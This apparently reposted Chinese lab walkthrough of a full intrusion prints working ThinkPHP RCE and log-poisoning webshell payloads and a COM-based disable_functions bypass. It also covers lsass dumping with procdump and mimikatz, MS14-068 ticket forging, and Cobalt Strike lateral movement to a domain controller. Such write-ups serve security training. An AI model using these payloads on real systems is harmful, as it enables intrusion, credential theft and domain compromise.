WEB服务器:windows7系统
外网网卡IP:192.168.1.104
内网网卡IP:192.168.138.136
域控服务器:windows server 2008系统
网卡IP:192.168.138.138
攻击机器:kali windows 10
kali IP:192.168.1.105
Thinkphp远程代码执行
首先访问WEB页面,呈现出来的就是线显眼的Thinkphp V5版本的页面。
首先对其进行目录扫描,发现了一处add.php可以的页面,是大马的登陆页面。应该是某hack留下的。
首先让Thinkphp页面报错,但是这里它并没有泄露一些其他的敏感信息,但是这里的版本V5.0.22是存在远程代码执行的。
使用POC进行验证,的确有远程代码执行漏洞,这里显示了php版本为PHP Version 5.4.45,并且网站的绝对路径为C:/phpStudy/PHPTutorial/WWW/public
http://192.168.1.104//index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
接着使用代码执行的POC进行查看系统权限,但是这里并没有回显回来命令执行的结果。
如果是未执行到命令的话,可能就是PHP禁止了一些危险的PHP函数了。返回到phpinfo页面查看禁止的函数,的确这里把命令执行的函数都给禁止了。
既然是这样的话可以通过包含日志文件进行getshell也是可以的。使网页报错,把一句话木马的报错记录进入日志文件里面
URL:http://192.168.1.104//index.php?s=captcha
POST:_method=__construct&method=get&filter[]=call_user_func&server[]=-1&get[]=<?php eval($_POST[6666]);?>
接着进行验证,查看一些PHP一句话代码是否已经记录进去了日志文件里面。这里直接成功包含了日志文件,并且执行了php代码。
URL:http://192.168.1.104//index.php?s=captcha
POST:_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../runtime/log/202007/20.log&6666=phpinfo();
接着就可以使用菜刀进行连接了。URL如下,把包含了一句话木马的日志文件作为URL密码为666。使用菜刀连接成功。
http://192.168.1.104//index.php?s=index/think\app/invokefunction&function=think\__include_file&vars[0]=../runtime/log/202007/20.log
接着访问之前遇到的大马,查看源码,发现它的密码是进行MD5加密了,对其进行解密之后密码是admins。
接着需要突破disable_function的限制来执行命令了,由于这里是windows系统,可以利用COM组件来进行绕过,在phpinfo里面查看com_dotnet这栏,看到开启了COM组件。
接着上传如下代码的PHP文件到对方网站目录下。COM组件它最早的设计意图是,跨语言实现程序组件的复用COM组件由以Win 32动态连接库(DLL)或可执行文件(EXE)形式发布的可执行代码所组成。遵循COM规范编写出来的组件将能够满足对组件架构的所有要求。COM组件可以给应用程序、操作系统以及其他组件提供服务;自定义的COM组件可以在运行时刻同其他组件连接起来构成某个应用程序;
<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
COM组件可以动态的插入或卸出应用。(高版本需要扩展需要自己添加才能使用,不然不能使用COM组件。下图是高版本php,默认是把该组件注释或者没有添加该组件的)
接着就可以利用COM组件来突破函数限制执行代码了。这里执行命令查看到权限为administrator权限
查看一些系统的信息,目标web服务器的系统是win7系统,并且打了三个补丁。对方的系统是在sun.com域里面
接着开启对方的3389端口。可以使用注册表的方法开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
接着上传一个procdump.exe进去目标机器,使用该工具把凭证信息获取下来到1.dmp文件里面。
procdump64.exe -accepteula -ma lsass.exe 1.dmp
接着在使用mimikatz获取到密码的明文信息。
mimikatz.exe "log" "sekurlsa::minidump 1.dmp" "sekurlsa::logonPasswords full" exit
这里一共获取到了两个用户的信息,Administrator的密码是dc123.com。用户leo的密码为123.com
然后在防火墙规则中开启远程桌面,然后再登陆进去登陆进去到对方系统里面。
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
然后进去之后,开启相对于的端口,让CobaltStrike上线。上线之后查看一些本地存活主机,发现一台192.168.138.138的主机存活。
使用ipconfig /all查看网络的详细信息,看到WEB服务器的DNS地址为192.168.138.138。并且再sun.com域里面
ping一下sun.com查看一下ip地址。可以推断域控就是192.168.138.138这个IP地址了。
已经知道了域控的IP地址,那么就可以试一下是否可以利用ms14-068来获取域控的权限。首先获取到administrator的用户sid
获取了sid之后,把ms14-068上传到目标主机上面,然后把先对应的参数写入进去,生成票据
MS14-068.exe -u [email protected] -p dc1234.com -s S-1-5-21-3388020223-1982701712-4030140183-500 -d 192.168.138.138
然后在CobaltStrike上使用mimikatz把票据注入进去内存。
然后就可以访问到DC.sun.com域控了。
老套路生成一个中转的监听。内网流量转到WEB服务器上面
生成一个后门木马,把木马copy到域控DC的C盘上面。并且在创建一个定时任务,这里就不需要写入密码
shell copy C:\beacon.exe \\DC.sun.com\c$
shell schtasks /create /tn "test" /tr C:\beacon.exe /sc once /st 15:58 /S 192.168.138.138 /RU System
shell schtasks /delete /s 192.168.138.138 /tn "test" /f //上线之后删除计划任务
不过一会之后域控就会上线CobaltStrike,并且返回了system权限。
来源:freebuf.com 2020-08-13 14:58:29 by: dnsill
请登录后发表评论
注册